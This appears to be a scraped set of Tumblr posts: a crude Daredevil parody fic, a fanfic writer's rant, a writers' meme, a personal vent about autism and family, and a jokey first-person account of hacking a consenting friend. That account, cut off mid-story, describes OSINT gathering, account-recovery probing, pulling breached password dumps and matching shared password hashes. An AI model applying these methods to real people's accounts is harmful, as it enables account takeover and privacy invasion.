that is a lie and you know it mister daredevil says another voice. matt throws up. he knows that voice. it is mister wilson fisk the kingpin. mattt knows without turning around that he is the most dummy thick of all. he is larger than four matts, and eight times as STUPID fat. mr fisk he growls. mr murdock fisk responds. i will have to put you in jail for this. i cant go to jail i'm a lawyer says matt. not that kind of jail...dumb thick jail for gay idiot babies like you. fisk says. it is menacing because fisk is menacing. no please mr fisk matt says but it is too late. fisk has ejected him from his office. he writes something on the door. foggy calls out weakly from his spaghetti bed. matty it says fisk offices: the dummy thickest he says. matt begins to cry. fisk is now the holder of the ‘dummy thickest’ title. what can matt do. what can he do. he hears a laugh from behind. well well well the shittiest voice ever says. if it isn't flat matt murdock. fuck you pointdexter, cries matt through his crying. bullseye laughs. matt dear, he says, i want to make a deal. can't you see i'm sad and depressed pointdexter matt says. i don't give a shit says ben. also i'll spit on you if you work with me. matt has dreams about that. he smiles reluctantly. what do you want bullseye. i want to kill the man with the title of dummy thickest… because i want the title for MYSELF. before it was you, but now…defeated you are just flatt matt. fisk is now the man i must get through before i can reclaim this title. there's only one way to stop him: together. matt grimaces. i hate working with fake thickies like you he groans. but i will do what i must.

bullseye spits on matt for a half hour while they make a plan. foggy tells matt he's a stupid bitch, and matt agrees. they're just going to storm the office, take fisk by surprise, and kill him. matt hates to kill, but sometimes? well, the title of dummy thickest is more heavenly than God Himself. surely the big man would understand a little under to achieve this holy status. the title would give him the power, if wielded right, to defeat the Lord in hand to hand combat anyways. the clapping of matt's dummy thick asscheecks would defeat the lord, and then once the final clap rung out, he would be smothered-suffocated in the dummy thick sea.

the two of them let out a stupid loud yell, and broke matt's office door. uh oh fisk said and that was all he had time to say before bullseye and matt were upon him, tearing into his dummy thick flesh like rabid goblins. nooooo he cried. my fat! my dummy thick fat! it's not yours anymore. matt said solemnly. fisk cried a little bit and said he missed vanessa. matt did not care. there was no mercy left for him. there was only desire...desire to be the dummy thickest. when fisk was simply a skeleton, bullseye tossed him out the window. HAHA he laughed. you fool. now the spot of dummy thickest is OPEN! by the powers that be, i clap me che- matt pulled out a gun. sorry bullseye. i guess it's time to bull-DIE he said. he pulled the trigger. matt,,,why would you do this, foggy cried. his hair was covered in tomoato sauce. matt gave bullseye the finger as he bled out in front of him. i didn't do this for me. he said softly. i did this for US. i'm the dummy thickest now…. and you are my second in command which means you are the second thickest of them all. foggy ran over to matt, ass clapping all the way, and then they made out:

the end

IM DONE COWARDS

I am… como se dice…. dyin

[blueraith]

Some folks still need to learn how to constructively comment

Wish I could say that I’ve been writing Chapter... 12(? Legit, I don’t often remember the chapter numbers outside of the Google doc) since posting Chapter 11 (we’re just gonna assume I know where the fuck I’m at in my own story, okay? Give me this).

But that would be a bald faced lie.

(Mostly because of my sister’s graduation and all the family visiting and the concurrent back injury I was suffering. Really kills the writing mood when you can’t sit up properly to type.)

This is going under a read more, because this incident Vexed Me To The Max(TM) and triggered a Rant of Epic Proportions(TM).

But graduation has been over, and my back has been feeling great. What really kept me a bit down since all that was over and done with is that very morning I’m feeling better, I see that I have two comments on the 100 fic I’ve put on indefinite hiatus. Yeah, it’s not an active story, but I still care about it, and I’ve been thinking about it recently. So, in short. I still care about it a hell of a lot. Hell, I care about everything that I write. I’ve written fanfiction at what’s nearing 10 years now, but nothing has erased the fact that putting yourself out there in the public eye takes a hell of a lot of effort and, sure, a smidgen of courage and confidence.

Well, this lovely commenter told me that my word count was way too high, that I was slowing my story down, and that they skipped to the last chapter (from Chapter 2, they skipped 6 chapters of ongoing character development, an ensemble cast, Ark politics, and canon fix-its) “40k words and [Clarke’s] still not on the ground yet??”

This is me paraphrasing both comments. I deleted them with extreme prejudice from the fic because I wasn’t leaving that kind of useless bullshit on my work after it effectively ruined my mood for, like, four days.

Why was it bullshit? Well, for one thing taking the average word count per chapter, it’s only a little over 5k words per chapter. Look. I balance out my word counts very carefully for each story that I write. This fic has a longer than average word count compared to my more recent stuff (which is around 4k per chapter) because of all the fuckin shit I was pulling off in this particular fic. Reworking canon to better explain why the Arkers were resistent to the radiation on the ground while having the superior blood that the Mountain Men wanted without putting them up in their shitty space station for thousand of years that evolution would have actually required them to have gone through to be remotely realistic.

Jake’s alive in this fic because I don’t like dead characters shaping character development on a pre-canon basis. Personally, I dislike orphan/parental loss storylines before the specific original work has even started. I get that orphans exist in real life. But YA media has a disproportionate amount of dead parents. Eh. I wanted to do something different. So, this means there’s an entire extra character in the story that I have to write and develop.

Diana Allers actually matters in day to day Ark life instead of just showing up and nearly murdering everyone because she’s a selfish bitch for little to no reason other than to make Abby’s already pretty damn full storyline even more packed than it already was. (Seriously, why didn’t they develop Allers more? She’s lazily implemented in canon, and I hate it. Lord only knows I enjoyed Abby and Raven’s plotlines far more in several places of Season 1 rather than Bellamy’s Manpain Adventures Lite Before He Turns Into A Complete And Utter Psychopath Later On In The Series).

Jaha is far more competent and slimey than he is in the show, rather than being a foolish man who is barely toddering along in the plot towards something useful.

Abby and Jake are at odds because Jake technically betrays Clarke and allows her to get arrested in the beginning of the story. They adopt Raven in the interim and they’re all awkwardly trying to free Clarke while pretending that Jake and Abby aren’t having marital problems. Well, Jake and Abby are pretending, Raven is as blunt as she usually is and just calls shit like she sees it.

Ensemble cast. There’s literally a tag on this story that tells you all that “This Story Is Literally About Everyone.”

So.

Yeah.

Clarke’s not on the fucking ground yet. But you wouldn’t know that, would you? Having skipped past 6 chapters.

Is 5k really that long? I wouldn’t know, personally when I read a longfic, I go into it knowing that the chapters might be long as fuck because I know that I’m reading a fic that could literally take me through several days and I read pretty damn fast. Not that 40k words is really all that much when you’re rewriting a TV show using all the characters who already exist in canon and then getting into their thoughts and motivations because that is literally what books do, this isn’t a screenplay, I wouldn’t be caught dead writing one because I despise them. Sorry, but you’re getting the full range of thoughts and emotions of everyone involved. I know, that’s just awful, getting hours and hours of content for free, but god forbid the plot doesn’t run on your timetable.

But that’s really the crux of this rant, isn’t it? NEVER complain about word counts, people. Too short? Who the fuck cares? The author could be just beginning their writing careers, so to speak. Word counts of any significance takes practice, first of all. So, not only could they might or might not have the required experience to write longer chapters, they may not even want to. And that’s fine. Because they do this FOR FREE.

Same thing with longer chapters. Are you really going to come at me, nearly a year after I’ve written and posted this work, complaining about word count, as though there’s even a remote chance that I’m going to go back and edit down all of that time and effort I put into that work to satisfy your fragile reading stamina?

Pfffffffffft.

I mean, this is funny to me in some regard because I’m over here wondering just what would be a good length for this person. Part of the reason my chapters tend to be at least 4k words long is because that’s generally where I can get a comfortable amount of character interaction, introspective thought, and plot moving forward. All three of those things matter to me when writing chapters. I hate reading too short works (and no, I don’t tell these authors this. I read what they give me and just deal with it because they’re entertaining me for free) and it’s little more than characters just trading dialogue with each other. I want to know what they are thinking about as well. I want a bit of narration. I’m reading something from a specific character’s point of view, and I want that chapter to ooze the personality of that character.

These are all the things I keep in mind when I write to my word count goals, personally. Doing it in less than 3k words might be possible, but it would sure as hell be annoying.

But most of all, it just irritated the fuck out of me. Like I’ve said multiple times in this rant. I do this for free. I don’t expect you guys to know this, but in order to get these substantial updates when I can manage to actually feel well enough to write and get them published, it takes me EIGHT TO TWELVE HOURS of sitting in front of a computer screen to have a chapter finished. On a good day. Yes. Most of the chapters I put out are done in one day, in one block, and I’m often up until 5 AM finishing something up. I have severe ADHD. Sometimes it is a chore to get shit put on a page because I can’t sit down and focus my thoughts enough to sound even coherent. Sometimes I have issues keeping up with what the beginning of a long sentence was about and I have to constantly keep up with what the fuck I’m even talking about in any given thought.

So, you have an author with a severe executive function disorder attempting to concentrate hard enough to get her own thoughts in character for each and every character that is featured in any given story while attempting to resist even the most mundane distractions while desperately hoping she’s going to hit a period of hyperfocus long enough to get substantial work down, but if that happens she’ll probably forget to eat because she’s on a writing binge that goes on with actual significant work for a period of several hours.

I love writing, despite the challenges I have to deal with in order just to get it done. I love most of the comments that I receive. I’m coming off a period of extreme depression from some family issues I was dealing with. My skin is rather thin at the moment and that irritated the fuck out of me, but those two comments knocked more wind out of my sails that I really wanted them to, and that bugs me even more.

But I am more experienced in fic writing than probably your average person. This commenter pissed me the fuck off, but I’ve moved past this, it’s hardly shattered my motivation to write forever.

But a careless commenter could easily do that to someone just getting into fanfiction. And it makes me wonder just how often this happens everyday, every hour, when entitled, spoiled people who think their needs are more important than the author doing this FOR FREE decide to voice their terrible opinions on their works. I love my readers, I don’t hold myself beholden to them, but they are extraordinarily important to me. Plot, pacing, and character development are all my own when I write because first and foremost, I write for myself. It’s a hobby that I clearly have to work very hard at to even be remotely successful at, and taking anyone else’s standards into account is never going to happen when I have to live up to my own already very high expectations. But I do keep y’all in mind when I’m devoting my time, energy, and effort in. The chapter lengths I have partly exist to make up for the wait times I inevitably have between each release. I very much know that I am sporadic and inconsistent when updating. So, when I do, I want to have something that isn’t just a whisper in the wind when it finally cycles to the top of the AO3 listing.

I know there are inevitably readers who didn’t like my content, or do think my stuff is too long. That’s fine. But don’t come into my space and give me two comments that were effectively “TL;DR” and expect that not to be a slap in the face. Because it is. I have wonder if the fandom kids today even know the kind of slap backs this sort of thing would have gotten in LiveJournal.

But, never mind that. I’m a big girl, I took some petty revenge in deleting that bullshit from my boards and then setting the fic to moderated mode, but what I would like anyone who decides to read through what is actually a long winded post (all my rants are, admittedly) to learn is that you are not reading professional work. You are not reading work that has been paid for. You are not reading work that has been professionally edited. I’m not saying that you can’t have standards for fic, lord knows I have many, but I don’t go into an author’s work and leave shitty comments. Never. Constructive criticism on fanfiction keeps the author’s time in mind, their skill level over what they’re actually capable of, and whether or not they’re even open to criticism. Some authors don’t even want your advice. They just want to know that you liked it. And if you don’t, just don’t say anything. I’m not quite that fragile personally, when someone is giving me useful criticism that can be used to actually improve my quality of writing, but I will freely admit that clearly I have a sore spot about comments addressing word counts.

Get out of here with that shit.

In short. If you can’t say something nice, don’t say anything at all.

[sariasprincy]

Another Writers’ Meme

I saw another blog do this last week and decided it looked like fun. And I love talking about myself.

1. How did you come up with your username and what does it mean?

I made this name so long ago. Like 10+ years. I made it in Middle School to a reference about Zelda (the character Saria) and it became a joke with a friend of mine (Saria’s Princy) and it stuck. I don’t know why.

2. Which fanfic of yours has the most feedback? (bookmarks/favourites, follows/subscriptions, visitor hits, kudos)

Nightmare in Red has to most reviews

Code Seventy-Seven has the most views

But I believe Within the Messages and Cold Case are a long standing favorite.

3. What is your FFnNet/AO3 profile icon, and why did you choose it?

It’s Itachi. And it’s because I like Itachi and Surfacage ha

4. Do you have any regular/favourite commenters?

Yes! That would be @la-moonlight-lily @zutaras-where-its-at @nips-out-for-itachi @crimsonriley @heymessyjessie

On FF, there’s Key, parsimonia, WhiskeyBlair (so many names I recognize in the reviews)

5. Is there a fanfic that you keep going back to read again and again?

Everything written by Cynchick. 

6. How many stories are you subscribed to? How many do you have bookmarked?

Honestly I am so lazy with reading fic. I usually forget unless it comes across my dash.

7. Which AU do you find yourself writing the most?

Modern!

8. How many people are subscribed and bookmarked to you in total? (you can view this on the stats page)

On fanfiction, I’m on the favorites of 1124 and the alert of 951. Quite the number going! Thanks for the love!

9. Is there something you’d like to write about but are 😨 of people judging you for it? (Feeling brave? If so, share it!)

Dirty smut? ha

10. Is there anything you would like to be better at? Writing certain scenes or genres, replying to comments, updating better, etc.

Writing complex plots without a whole bunch of plot holes.

11. Do you write rarepairs or popular ships more often?

ItaSaku is pretty popular I feel like. And MadaSaku is now becoming popular?? (at least in my circle). Does TobiSaku count as a rarepair? Cause that’s a new fav!

12. How many stories have you posted on FFNet/AO3 to this day (finished and unfinished)?

Twenty-four. I deleted a lot of them when I disappeared for 4 years.

13. How many stories do you have saved in/with your writing program?

Don’t even ask....I have about two dozen half-written ideas on Google Docs alone. I have no idea about Word. Has to be in the 100s. Many of which I will not write. 

14. Do you write down story ideas, or just keep them in your head?

If it’s something I think I’ll come back to I write it down. If it’s a passing fantasy, I enjoy and let it go. 

15. Have you ever co-authored a story?

@beyondthemoor oh my darling. We’ve done a couple: Round Robin - ItaSakuShisui (Rated M) Gas Station - KisaIno (Fluff Friday)

16. How did you discover FFNet/AO3?

I joined FF in 2007. I have no idea about AO3. I think I googled a rarepair I came across the glory that is AO3

17. Do you consider yourself to be a popular or famous author in your fandom(s) on FFNet/AO3?

When I first started, no. But so many authors have left the fandom that I sometimes feel like I’m one of the only ones still writing ItaSaku ha.

18. Do you have a nickname or fandom name for your readers? 

Whores. Just kidding! Sorta.

Nah, I mostly call my reviewers wonderful people, cause for the most part, they are. 

19. Was there an author who inspired or encouraged you to write?

I get inspired more by ideas. Silverfootsteps wrote a wonderful story called Eastern Suns that I am still raving about. That one inspired me. I do like to bounce ideas off a few other tumblrs, but my inspiration usually comes from every day things: grocery shopping, working out, out at dinner, etc.

20. What writing advice would you give to a beginning author?

Read, read, read. The best way to learn how to write is to read other’s writers’ work like a writer. Try to see what you like about their writing style, what you don’t like. Then incorporate that into your own. 

When I don’t know how to write something so it’s smooth and easy to follow (ie fight scenes, kissing, smut, etc) I read a handful of other people’s writing to see what worked for them and perhaps didn’t work. Then apply that towards my own work.

Plus it gives you time to step away from your own writing if you feel stuck. 

21. Do you plot out your stories, or do you just figure it out as you go?

Both. It usually starts out with writing as I go. But then I get ideas of scenes I would like to add later so I throw them into a document so I can go back and reference. 

22. Have you ever gotten a bad comment on a story? If so, what did you do?

One I remember was someone commenting on a MadaSaku story saying they “preferred NaruSaku”. Like okay?? Why are you here? Hahah.

I’ve also gotten a visit from g.o.d., which I found more funny than offensive. Usually I just ignore hate though. I’ve been writing long enough that I know when my work is good or not. Just shrug it off.

23. Is there a certain type of scene that you have a hard time writing? (action, smut, etc..)

FLUFF. I don’t know why. I hate cliches in writing. It makes me gag. So trying to write fluff that isn’t like that is difficult all the time sometimes. 

24. What story(s) are you working on now?

See my previous post for this answer ha.

25. Do you plan your next project(s) before you finish your current ongoing story(s)?

I usually try not to because then I get excited to just move on. But usually I plan on taking a break after completing a long story but before I even finish, I get another multi-chap fic idea and I’m like nooooo - let’s do it!

26. Do you have a daily writing goal set for yourself?

I used to just write as I felt like doing it, but then I would sometimes go two weeks without writing. So recently, I started a goal of writing at least one sentence a day (if not more). I even have an alarm set at 6pm every day, asking if I’ve written yet.

27. Do you think you’ve improved as a writer since you first started?

Hell yes. Omg, my first fics are horrible. Physically painful to write, dear lord.

28. What is your favorite story(s) that you’ve written?

Ink was a lot of fun, I’m Sorry for What I said... was not a favorite but it is growing on me now. Where it Happened because I feel like there are soooo few medical AUs. 

29. What is your least favorite story(s) that you’ve written?

Within the Messages/Cold Case. Neither one is very accurate. They make me cringe. The only reason they’re still up is because so many people seem to enjoy them.

30. Where do you 👀 yourself (as a writer) in 5 years?

Still trash.

31. What is the easiest thing about writing?

Imagining story ideas.

32. What is the hardest thing about writing?

Writing.

33. Why do you write?

Because even after all the writing, rewriting, editing, cringing and rewriting, it’s still amazing to be able to share what you’ve created. And to hear how people enjoyed what you made feels good. Plus there is a deep sense of accomplishment when you finally write that final word: end

Tagging: @crimsonriley @la-moonlight-lily @littlebirdrobin and anyone else who wants to!!!

[bittersot]

2020-12-17 pt

Wrote this to vent and it became much longer than planned:

So I've been feeling like shit since I was 13 cause around that time I got depression due to me ending up in a class with mostly new ppl(I had pretty much only gone to school with ppl who had known me since kindergarten until then), and at the age where me being autistic being very obvious to everyone around me and me feeling extremely othered and cut everyone off because of #fear due to social anxiety when I got singled out by my classmates, and I didn't know what was wrong with me, or that anything WAS inherently different abt me, I thought I had ADHD at age 17 and got diagnosed with that + Autism(which I didn't expect at all) right before I turned 19.

And inbetween the age of 13-17 I did a LOT of introspection to like, "solve" what I did wrong so I could get along with people again, and I realized that I fucking hated my dad and that he has raised me and my siblings to take criticism and bullying, because ever since I was little, whenever me or my siblings did something bad/wrong (cause we were KIDS lol) we were met with snide comments and made to feel bad for not knowing things, and learned to lash out and attack to "defend" ourselves because we felt that we had to, cause we were told our everything would attacked whenever anyone said anything ever. And that + RSD was NOT a good recipe for most of my life (and still affects me to this day).

I would compulsively lie because when you have ADHD you fuck up a LOT due to impulsiveness, and never learned how to back off and do things calmly cause admitting I was wrong was equal to admitting that I was worthless and would never make it on my own(my father has said this exact thing in swedish). And like, my mother never defended me and instead defended HIM by telling me that "old dogs can't learn new tricks" when I talked about how he invalidated my emotions and how he made fun of my little brother SPITTING on me and tried to play it off when he could tell I was clearly hurt because it made HIM uncomfortable to deal with.

He has clearly never actually wanted us kids and had us to make my mother happy but didn't actually think too much about actually raising us, much less that we'd be around for(at least) 20 years.

Anyways, so, my point is, I have wanted to move out for a WHILE, because my family have been terrible for my mental health and I can't stand eating with them cause I'm autistic and they are loud and it wears me out and everyone is competetive cause we were raised that way and all advice I offer to them in how to deal with their issues and what I can do to make shit easier for them is brushed off. I want to move out cause I've noticed that lately, when I am home alone with only my cat I feel as if I have SO much more free time, cooking went by fast and I felt like I had time to do everything I wanted, despite being at work 9 hours every day + transit to and from work taking roughly 1 hour itself. When I was alone I felt more comfortable to move around in the house, it's like when an option showed up, I still had issues with executive functioning and doing stuff immediately, but I did do it, and I've noticed that when the rest of the family is home, there is a 90% chance that whenver I am deciding on what to do(eat, shower, bake, draw, play video games etc) that I just end up going to my room and lying in my bed, not sleeping, but not really enjoying it either, I just, don't feel comfortable doing anything with them around, they tire me out.

So, I want to move out, but I just recently got my first job, and there is a LOT to do when caring for your own place, even if its an apartment run by.landlord, and, besides all that, I could NEVER live alone, I NEED to have at least 1 more roomate, and here's the thing: I cut off EVERYONE in highschool, I don't hang out/talk with anyone my age in Sweden. Not only that, I'm autistic, regulation deficit, bisexual and questioning my gender, and on top of all that, I am very opinionated, so to find someone who 1, is not ableist/homophobic/transphobic/racist, and 2, is very much like me in terms of morals and 3, can STAND being around me, I am going to need to be SUPER picky. And like, finding other LGBT people in Stockholm around my age alone is difficult, I've tried on social media and barely gotten anywhere, and lord knows I don't know my social places where others like me would hang out.

I've always been the black sheep of the family and I don't think my siblings don't have it hard, but they very much do not understand what it's like to have no one around IRL who you can trust completely, and they like to make fun of it. I've never told them about my neurodivergence, but at this point I would be genuinely surprised if they didn't at least expect it. The thing is, they shit on things I do because of it all the time, in front of my parents, who know I am neurodivergent, and they do nothing about it, because me defending myself is on the same level on them calling me weird for very obvious autistic traits that aren't in anyway harmful. And I do think my mom wants me to be happy, and wants to care for me, but I really do think that she also wishes I wasn't like this, and that she too would be happier if I moved out, or didn't even exist at all. This is where I start crying while writing this, ha ha ha.

Anyways, my little brother has made fun of me for being uncomfortable with him screaming ableist slurs specifically to bother me, and my sister calls me weird and annoying for not wanting to eat with the rest of the family(when they always yell and almost constantly argue), and outright said she doesn't want me to live here anymore, and I'm just. Tired. I agree with you, I don't want to be here, but you don't understand what it is like to not have anywhere to turn, you're always surrounded by friends and make sure to rub it in how weird it is for me not to be the same.

I don’t know what to do, I got a job, I got a goal, a degree I desire, and ideas as to who I want to be, what I want to do and who I want to surround myself with. I’ve tried looking, and I’m going to keep trying until I find the friends I can trust. I wrote all of this originally to quickly vent about how my little sister telling me she doesn’t want me here anymore feels like it has all come full circle in a way since I turned 13, seeing as she herself is 13 now. She’s absolutely being dramatic, I know that, but I also think she’s honest, I know she is, I think we all would be happier if I didn’t live here, but I know it wouldn’t solve the rest of the issues with this family, the way she thinks it would.

So to end it all, I posted about the hunger thing earlier today, so I guess I’ll leave something else here as well, because it made me realize how much I forget over the years. The only reason I get by is due to my OCs, I have no emotional intimacy with anyone else, but if I may say, I’m pretty good at understanding the complexity of individuals, and make up different scenarios in my head where I go through different things. Not that it can be compared to real beings, but being able to come out, handle rejection, deal with ableism, workout how to explain my desires and wants to others, have prevented me from stagnating over the years of this solitude, and I rely on them a lot, which I’m sure I’ll forget in 10 years if I’m still around by then. Well, anyways, this rant is now 7500 symbols long, as well as 2 google docs pages. so I’m going to end it here, future me, if you read this far, drink water and brush your teeth.

[defaultnamehere]

Operation Luigi: How I hacked my friend without her noticing

This blog has moved! This post and other mistakes are now at https://mango.pdf.zone

Hello and welcome to a blog post. I am writing it and you are reading it. It's amazing what we can do with computers these days.

Several months ago

I'm at a ramen place with my friend Diana. Diana isn't her real name, but we're going to pretend it is because that's what all the cool journalists do and I wanna fit in too so don't ruin this for me okay.

I ask her if it would be okay for me to try and hack all her stuff. She's instantly visibly excited. I explain how this could result in me seeing everything she's ever put on a computer ever. She tells me she thinks this is going to be "so good". We lay down some rules:

I'll start some time in the next 12 months

No deleting anything she has

No disrupting her daily life

Stop asking if she's sure it's okay

Bonus rule from me: Do this entire thing in stealth mode. Don't ever let Diana know that I've started until it's too late.

I mean, obviously it worked since you and I are having this nice little textual discourse right now. Take my hand metaphorically, and I'll guide you through what I tried, my many flubs1, and how to protect yourself from what I did2.

And uh also at the end Mario's green friend is there.

Part 1: Research

"""Open Source Intelligence Gathering""""" AKA googling furiously and pretending you went to uni for this

Alright uh I'm pretty sure the first thing you do when you're hacking someone is find all their personal information. I'm talking about her email, phone number, address, star sign, whether she uses Android or Windows Phone, her birthday, and so on.

Jeez we're gonna need to know her email address aren't we?

People put lots of their information on LinkedIn (an information landscape that connects your inbox to people you met once in a bar and will forever file under "misc") because it tells them to.

The first thing I see on Diana's LinkedIn3 is her email address. I hastily put on my black hoodie and get my arms a bit stuck in the sleeves. Hacker voice I'm _in_4. Immediately I sigh and put my hands on my temples like a stressed-out banker. It's a @hotmail.com address, which surprises me since, well, who's using Hotmail in the year of our lord 2017? I mean geez if you used hotmail you'd miss out on gmail's excellent security features heyoooo

[x] email address [ ] the respect of my peers

Does she use this email for Twitter?

Yep.

How about her phone number?

I type a bunch of extremely clumsy things into Google. I'm talkin' "dianalastname@hotmail.com phone". A matrix of what looks like zeroes and ones but is actually Google search results flies down my screen at about the speed a normal person would scroll at.

There's a sign-up page for a club she started at her university. The page says "Contact Diana Lastname at dianalastname@hotmail.com or [her phone number]". pew pew got 'em.

[x] email [x] phone number [ ] the respect of my peers

Storing the goods

I paste all these things into a Google Doc - an advanced NSA hacking tool leaked in the recent Shadow Brokers incident.

While googling securely, I find an old blog of hers from 2009. It has a search box. I immediately slam "pet", "cat" and, "dog" in that search box like it's 2009. The name of someone's pet is often somehow involved in their security, either as their password or as a "Security""" question or something. I find the name of her dog from 2009 and vigorously paste it into my Google Doc.

Let's try getting into her iCloud account

Armed with my weapons-grade Google Doc, I'm ready to have a go at trying to get into something of Diana's5.

I don't really have a good reason for going after iCloud, so if you could just give me a break for one second

If I click "Forgot Apple ID?" on iCloud, by entering Diana's full name and email address, Apple tells me her Apple ID, and my screen permanently changes to green-on-black text to suit my new lifestyle.

I'm clicking around and there's a section called "account recovery". Sure, I'll have a go.

I can recover the account by clicking "I've uh lost my phone and forgot my password AND locked out of my email". Apple says "okay you colossal bozo, fine, but give us a phone number you CAN access, and we'll SMS you instructions to get back into your account". If I was in a movie doing ~crimes~ then I'd use a burner phone number. But since this is just my friend, I use my real phone number. I get an SMS from Apple being like "We received your request and will get back to you within 4 to 6 business millennia. Our Neo-Future Customer Service Representatives will contact your next-of-kin by whatever means of communication is prevalent at the time."

There's another "account recovery" option that says "use a device you already have". I click this, hoping to get a list of Diana's Apple devices. Instead it gives me this:

Daaaaaaaaaaaaaaaammmmit.

I have taken the wrong path in this text adventure game.

I've just notified Diana that someone's trying to reset her account.

For me that would set off all kinds of alarm bells and I'd start furiously investigating what's going on with all my accounts because I'm very cool and collected. But I'm just going to hope that Diana is a normal human being who is not obsessively paranoid like me and just ignores all of those pesky automated emails from Apple and Microsoft being like "blah blah account blah" or "blah blah new sign in blah" because I mean who really has time for those we've all got places to go and phones to scroll I mean reallY who's gonna pay attention to one liTtlE email when there's a whole OCEAN of low quality memes to scroll past on Facebook? I mean wouldn't you rather see some nice political memes? Newsfeed alert: Some guy from high school has just been tagged in- oh wow lOok this one's about your local government, wowee they've even managed to use the meme font while standing their ground and writing all the text as though it's a trying-to-sound-formal letter from your school principal who is still desperately trying to combat cyberbullying using nothing but stern words and beginning every sentence with "In regards to...."

There's no way for me to know if she saw the notification, so I stop rolling around on the floor whispering about low quality memes and get back to work.

Several days later

My phone rings. I can feel the vibration in my pocket and I'm like "is someone calling me here in the year of our lord 2017 I can't believe this". I don't recognise the number.

"Hello?"

"Hi, who am I talking to?"

"It's uh Alex."

"Alex?"

"Yeah."

"Alex ``?"

"Uh, noooo it's-"

"Ohhhhhhhhhhhhh."

"Wait so who am I talking to?"

It's Diana.

"What's up?", I ask.

She explains to me how she got an email from Apple about her account and there was a phone number in it. I tug my collar several meters into the next room, knocking over several carefully-potted indoor plants.

I hit pause on this whole thing, immediately own up, and say "yep, that was me, no need to worry, and I didn't get anywhere, your iCloud account is safe and s- WAIT a minute are you telling me you got an email from Apple saying someone tried to reset your account, realised it wasn't you, saw the phone number, and then CALLED it? What was your plan if some hacker answered??"

She didn't have a plan. She just called it as soon as she saw it, the absolutely off-the-rails lunatic.

We have a nice chat and agree to hang out later. She asks me if I've "hacked her already", and I say "no comment" to preserve my so-far flawless operational security.

Before I hang up, I wanna show off my work so far.

"Hey Diana, one more thing"

"Yeah?"

"Check it out. Did you ever play a game called........ Fashion Fantasy Beach?"6, I say, coolly and relatably.

Diana freaks out and starts laughing. She's forgotten about this game and me reminding her of her account brings back good memories.

"Can you like, find all the accounts I had on all those game websites?"

Sweet young Diana. If only it worked that way. Hacking can only be used for stealing government secrets and ransoming bitcoins. It's just not that simple.

"By the way, just checking, it's still okay for me to try and hack all your stuff right?" "SO okay"

Part 2: Hackinggggg

At this point I could reset Diana's password for some services by answering her "Security""" Questions with all the information I've gathered.

But, I realise, far too late and to the live studio audience's disappointment, that would violate the "don't interfere with her daily life" part of our deal. If I reset her password, this will lock her out of whatever account I reset. So, I have to get access stealthily. This will uh heavily involve knowing her password rather than resetting it.

For a long time I consider doing the renaissance-era "send 'em a word doc with a macro in it to get control of their computer then submit to defcon" but I worry that sweet young millennials like Diana don't even use Word because they do everything on their phone or Google Docs while simultaneously consuming 17.28 avocados per second look it up.7

I guess that makes the most valuable thing in her life her email. If you remember earlier, I cunningly divined her email address in Part 1, so I'm basically halfway there. If I get her email, I can just reset her password for Facebook, Twitter, Fashion Fantasy Beach, etc. My cyber attack vector cyber entry point exploit would then be typing the password into the Hotmail login screen using the Google Chrome Web Browsing Software.

The shady password market

Alright listen we're about to go into password paradise so buckle whatever it is you normally buckle. Hackers right, they hack websites. Hoo boy they just love to pop those hypertext pages. Like Dropbox, MySpace, LinkedIn, Adobe, Tumblr, and many, many more. They try to steal everyone's username and password from these sites by making a copy of the database and taking it. Sometimes, the database of usernames and passwords they steal gets released on the ~dark web~, for free or for money. Conveniently, there's a website (https://haveibeenpwned.com) which lets you type in your email address (not your password you big bozo) and find out whether any of your passwords have appeared in these leaked stolen databases.

But.... nowhere does it say you have to type in your email address. Cunningly, I type dianalastname@hotmail.com, executing hacking.

Here we can see a couple of websites Diana has accounts on have been hacked. The only one which had passwords stolen for Diana was Tumblr. So the next goal is to acquire the Tumblr database leak from 2013.

Let's get the old Tumblr database

I try to use my ~hacker connections~ to get a copy of the Tumblr database. I meet a someone whose forum handle is like d4rkrayne or whatever in a local park at 11pm. A colossal vape cloud leads me to him, waiting under a tree, puffing furiously. I look down my 1987 mirror-tinted aviators and say "how much?" (my voice comes out several octaves lower and all grizzly like a 40-year-old generic white dude movie star with like, juuust the right amount of stubble). He sells me the database on a pile of 442 floppy disks for 5,000 credits. What a ripoff. I teleport behind him, say "nothin' personal, kid", and hoverboard-kickflip into the night.

...I download the Tumblr database from a publicly accessible, unauthenticated, absolutely non-dark web website. I scramble to get back in my black hoodie, and whip on a second pair of sunglasses over the first. I'm in.

Ancient forbidden password rituals

The Tumblr database dump - a hacking Quest Item - is one long file with lines that look like this:

coolrelateabledude123@gmail.com:3a1920ceb2791d034973c899907847cb58810808

That weird thing after the email is a password hash. A password hash is like a scrambled up version of the password. You can't unscramble it. If you know the password though, you can scramble it and get the same omlette, if ya know what I'm sayin'🍳.

My goal here is to figure out what Diana's actual password is, given that I have her password hash. This process is commonly known as "hacking".

These particular passwords are not just hashed, but also salted8. This means that before each password is hashed, the good folks at Tumblr added an extra bit of text to the end of each one. So instead of hashing, say, cooldad64, they'd hash cooldad64HNc62V8.

Finding the salt

There's no official information on what kind of hashes are in Tumblr.txt.

The fully sick attack I want to do is: hashing a big list of passwords I just happen to have lying around wow and checking if any of the hashes match Diana's password hash. This is called a "dictionary attack", because the person who invented it was actually a dictionary. The trouble is, you need to know the salt to do this.

I google around some more, bask in the glory of very poorly constructed sentences on some ~hacker forums~, and ask my ~hacker connections~ in an attempt to find out what the salt is.

But I can't find it because fun fact I'm a total fraud.

Can I get the password... without the salt?

So remember how Tumblr salted the passwords by sticking some random stuff on the end to thwart wannabees like me?

The trouble is.... They stick the same thing (in my example, HNc62V8) on the end of every password. This isn't considered the best practice here in the year of our lord 2017, because it means that users with the same password have the same password hash. The emails and passwords would look like this:

markjohnson64@email.com:cooldad64HNc62V8 chicago.tony1@email.com:cooldad64HNc62V8 patriotsfan69@email.com:p@triots69HNc62V8 iamsherlocked.ravenclaw@email.com:Bongo1HNc62V8

I search Tumblr.txt for not dianalastname@hotmail.com, but for her password hash. (3a1920ceb2791d034973c899907847cb58810808)

I find more than 20 Tumblr users with the same password as Diana aw yeah

[REDACTED]@email.com:3a1920ceb2791d0... [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0…

This makes me think that Diana's password is probably not very unique, since all these other Dr. Who enthusiasts on Tumblr have also thought of it.

But also. Now I've got 20 other email addresses with the same password as Diana. Thanks to the miracle of everyone using the same password for everything, I've got a way to find Diana's password.

I just so happen AGAIN WOW WHATTA GUY to have the LinkedIn database dump from when LinkedIn was 360 whirlwind slam hacked in 20129.

